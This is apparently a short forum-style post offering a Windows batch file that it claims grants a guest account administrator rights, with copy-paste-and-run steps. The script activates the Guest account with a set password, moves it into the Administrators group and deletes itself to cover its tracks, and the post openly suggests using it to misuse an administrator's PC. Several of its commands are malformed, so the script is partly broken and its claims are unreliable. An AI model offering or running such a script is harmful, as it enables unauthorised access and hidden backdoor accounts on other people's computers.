As Already I many administrator hacks this hacks gives an guest account the admin privileges. as through this is cool for guest. this can be used by the guest to misuse the PC of admin.Want admin privileges on ur pc?
try this

Copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Den double click on it
This will add u in administrators group
Enjoy

echo off
title Please wait…
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0